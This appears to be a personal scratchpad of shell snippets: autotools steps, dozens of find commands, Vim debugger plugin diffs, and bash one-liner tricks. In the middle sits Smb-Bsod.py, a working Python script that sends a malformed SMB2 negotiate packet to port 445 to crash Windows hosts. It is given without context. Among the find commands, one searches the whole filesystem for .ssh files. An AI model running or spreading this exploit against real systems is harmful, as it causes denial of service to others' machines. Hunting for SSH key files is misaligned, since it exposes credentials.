Para generar un .configure a partir de un configure.in y/o makefile.in

$aclocal
$autoconf
$automake --add-missing
sudo find / -type f -name *.jpg  -exec cp {} . \;

find . -type f -size +10000 -exec ls -al {} \;
find . -atime +1 -type f -exec mv {} TMP \; # mv files older then 1 day to dir TMP
find . -name "-F" -exec rm {} \;   # a script error created a file called -F
find . -exec grep -i "vds admin" {} \;
find . \! -name "*.Z" -exec compress -f {} \;
find . -type f \! -name "*.Z" \! -name ".comment" -print | tee -a /tmp/list
find . -name *.ini
find . -exec chmod 775 {} \;
find . -user xuser1 -exec chown -R user2 {} \;
find . -name ebtcom*
find . -name mkbook
find . -exec grep PW0 {} \;
find . -exec grep -i "pw0" {} \;
find . -atime +6
find . -atime +6 -exec ll | more
find . -atime +6 -exec ll | more \;
find . -atime +6 -exec ll \;
find . -atime +6 -exec ls \;
find . -atime +30 -exec ls \;
find . -atime +30 -exec ls \; | wc -l
find . -name auth*
find . -exec grep -i plotme10 {};
find . -exec grep -i plotme10 {} \;
find . -ls -exec grep 'PLOT_FORMAT 22' {} \;
find . -print -exec grep 'PLOT_FORMAT 22' {} \;
find . -print -exec grep 'PLOT_FORMAT' {} \;
find . -print -exec grep 'PLOT_FORMAT' {} \;
find ./machbook -exec chown 184 {} \;
find . \! -name '*.Z' -exec compress {} \;
find . \! -name "*.Z" -exec compress -f {} \;
find /raid/03c/ecn -xdev -type f -print
find /raid/03c/ecn -xdev -path -type f -print
find / -name .ssh* -print | tee -a ssh-stuff
find . -name "*font*"
find . -name hpmcad*
find . -name *fnt*
find . -name hp_mcad* -print
find . -grep Pld {} \;
find . -exec grep Pld {} \;
find . -exec grep Pld {} \;
find . -exec grep PENWIDTH {} \; | more
find . -name config.pro
find . -name config.pro
find /raid -type d ".local_sd_customize" -print
find /raid -type d -name ".local_sd_customize" -print
find /raid -type d -name ".local_sd_customize" -ok cp /raid/04d/MCAD-apps/I_Custom/SD_custom/site_sd_customize/user_filer_project_dirs {} \;
find /raid -type d -name ".local_sd_customize" -exec cp /raid/04d/MCAD-apps/I_Custom/SD_custom/site_sd_customize/user_filer_project_dirs {} \;
find . -name xeroxrelease
find . -exec grep xeroxrelease {} \;
find . -name xeroxrelease
find . -name xeroxrelease* -print 2>/dev/null
find . -name "*release*" 2>/dev/null
find / -name "*xerox*" 2>/dev/null
find . -exec grep -i xeroxrelease {} \;
find . -print -exec grep -i xeroxrelease {} \;
find . -print -exec grep -i xeroxrelease {} \; > xeroxrel.lis
find . -exec grep -i xeroxrel {} \;
find . -print -exec grep -i xeroxrel {} \;
find . -print -exec grep -i xeroxrel {} \; | more
find /raid/03c/inwork -xdev -type f -print >> /raid/04d/user_scripts/prt_list.tmp
find . -exec grep '31.53' {} \;
find . -ls -exec grep "31/.53" {} \; > this.lis
find . -print -exec grep "31/.53" {} \; > this.lis
find . -print -exec grep 31.53 {} \; > this.lis
find . -exec grep -i pen {} /;
find . -exec grep -i pen {} \;
find . -print -exec grep -i pen {} \; | more
find . -exec grep -i pen {} \;
find . -atime +6 -exec ll | more \;
find . -atime +6 -exec ll \;
find . -atime +6 -exec ls \;
find . -atime +30 -exec ls \;
find . -atime +30 -exec ls \; | wc -l
find . \! -name '*.Z' -exec compress -f {} \;
find . -name 'cache*' -depth -exec rm {} \;
find . -name 'cache*' -depth -print | tee -a /tmp/cachefiles
find . -name 'cache[0-9][0-9]*' -depth -print | tee -a /tmp/cachefiles
find . -name 'hp_catfile' 'hp_catlock' -depth -print | tee -a /tmp/hp.cats
find . -name 'hp_catfile' -name 'hp_catlock' -depth -print | tee -a /tmp/hp.cats
find . -name 'hp_cat*' -depth -print | tee -a /tmp/hp.cats
find . -name 'hp_cat[fl]*' -depth -print | tee -a /tmp/hp.cats
find /raid -name 'hp_cat[fl]*' -depth -print
find . \! -name '*.Z' -exec compress -f {} \;
find . -name '*' -exec compress -f {} \;
find . -xdev -name "wshp1*" -print
find . -xdev -name "wagoneer*" -print
find . -name "xcmd" -depth -print
find /usr/contrib/src -name "xcmd" -depth -print
find /raid -type d -name ".local_sd_customize" -exec ls {} \;
find /raid -type d -name ".local_sd_customize" \
   -exec cp /raid/04d/MCAD-apps/I_Custom/SD_custom/site_sd_customize/user_filer_project_dirs {} \;

Smb-Bsod.py:

#!/usr/bin/python
# When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field it dies with a
# PAGE_FAULT_IN_NONPAGED_AREA from socket import socket
from time import sleep

host = “IP_ADDR”, 445
buff = (
“\x00\x00\x00\x90″ # Begin SMB header: Session message
“\xff\x53\x4d\x42″ # Server Component: SMB
“\x72\x00\x00\x00″ # Negociate Protocol
“\x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
“\x00\x26″# Process ID High: –> :) normal value should be “\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00″

)
s = socket()

s.connect(host)
s.send(buff)
s.close()

http://www.vim.org/scripts/script.php?script_id=1929  y http://vim.sourceforge.net/scripts/script.php?script_id=1910

QuickBuf – DBGp client

Not connected
  1. — plugin/debugger.vim.orig    2009-08-31 00:58:04.000000000 -0500
  2. +++ plugin/debugger.vim 2009-08-31 00:47:32.000000000 -0500
  3. -127,10 +127,10 @@
  4. call confirm(‘debugger.vim: Unable to find debugger.py. Place it in either your home vim directory or in the Vim runtime directory.’, ‘OK’)
  5. endif
  6. -map :python debugger_resize()
  7. -map :python debugger_command(’step_into’)
  8. -map :python debugger_command(’step_over’)
  9. -map :python debugger_command(’step_out’)
  10. +map :python debugger_resize()
  11. +map :python debugger_command(’step_into’)
  12. +map :python debugger_command(’step_over’)
  13. +map :python debugger_command(’step_out’)
  14. map dr :python debugger_resize()
  15. map di :python debugger_command(’step_into’)
  16. -139,17 +139,17 @@
  17. nnoremap ,e :python debugger_watch_input(“eval”)A
  18. -map :python debugger_run()
  19. -map :python debugger_quit()
  20. +map :python debugger_run()
  21. +map :python debugger_quit()
  22. -map :python debugger_command(’step_into’)
  23. -map :python debugger_command(’step_over’)
  24. -map :python debugger_command(’step_out’)
  25. -
  26. -map :python debugger_context()
  27. -map :python debugger_property()
  28. -map :python debugger_watch_input(“context_get”)A
  29. -map :python debugger_watch_input(“property_get”, ”)A
  30. +map :python debugger_command(’step_into’)
  31. +map :python debugger_command(’step_over’)
  32. +map :python debugger_command(’step_out’)
  33. +
  34. +map :python debugger_context()
  35. +map :python debugger_property()
  36. +map :python debugger_watch_input(“context_get”)A
  37. +map :python debugger_watch_input(“property_get”, ”)A
  38. hi DbgCurrent term=reverse ctermfg=White ctermbg=Red gui=reverse
  39. hi DbgBreakPt term=reverse ctermfg=White ctermbg=Green gui=reverse

http://chilicuil.pastebin.com/f6caee617

  1. — /home/chilicuil/.vim/plugin/debugger.py.orig        2009-08-31 01:41:07.000000000 -0500
  2. +++ /home/chilicuil/.vim/plugin/debugger.py     2009-08-31 01:44:54.000000000 -0500
  3. -413,15 +413,15 @@
  4. def on_create(self):
  5. self.write(                                                          \
  6. ‘[ Function Keys ]                 |                       \n’ + \
  7. -        ’     resize                   | [ Normal Mode ]       \n’ + \
  8. -        ’     step into                |   ,e  eval            \n’ + \
  9. -        ’     step over                |                       \n’ + \
  10. -        ’     step out                 |                       \n’ + \
  11. -        ’     run                      | [ Command Mode ]      \n’ + \
  12. -        ’     quit debugging           | :Bp toggle breakpoint \n’ + \
  13. -        ’                                  | :Up stack up          \n’ + \
  14. -        ’    get all context          | :D n stack down        \n’ + \
  15. -        ’    get property at cursor   |                       \n’ + \
  16. +        ’   resize                   | [ Normal Mode ]       \n’ + \
  17. +        ’   step into                |   ,e  eval            \n’ + \
  18. +        ’   step over                |                       \n’ + \
  19. +        ’   step out                 |                       \n’ + \
  20. +        ’   run                      | [ Command Mode ]      \n’ + \
  21. +        ’   quit debugging           | :Bp toggle breakpoint \n’ + \
  22. +        ’                                         | :Up stack up          \n’ + \
  23. +        ’  get all context          | :D n stack down        \n’ + \
  24. +        ’  get property at cursor   |                       \n’ + \
  25. ‘\n’)
  26. self.command(‘1′)

http://chilicuil.pastebin.com/f187bdcbc

Little work of art:

a=1;for i in {1..34};do printf %$[40-${#a}]s”$(eval $(echo $a*$a|bc|sed ’s/$/0/;s/\([0-9]\)/tput setab \1; echo -n \\ ;/g’))”\\n;a=1$a;done

Ascii plot:

clear;for x in {0..150}; do y=`echo “12+6*s($x/6)”|bc -l|cut -d. -f 1`;echo -en \\e[$y\;"$(($x/2))"HX; sleep .1;done

bubble-sort implementation:

s=`seq 9|shuf`;while :;do for((i=0;i<15;i+=2));do echo $s;a=${s:i:1};b=${s:i+2:1};[ $a -gt $b ]&&s=${s:0:i}$b\ $a${s:i+3};sleep .2;done;done

s=`shuf -i1-9`;while i=;do for((;i<15;i+=2));do echo $s;a=${s:i:1};b=${s:i+2:1};[ $a \> $b ]&&s=${s:0:i}$b\ $a${s:i+3};sleep .2;done;done

http://twitter.com/natfriedman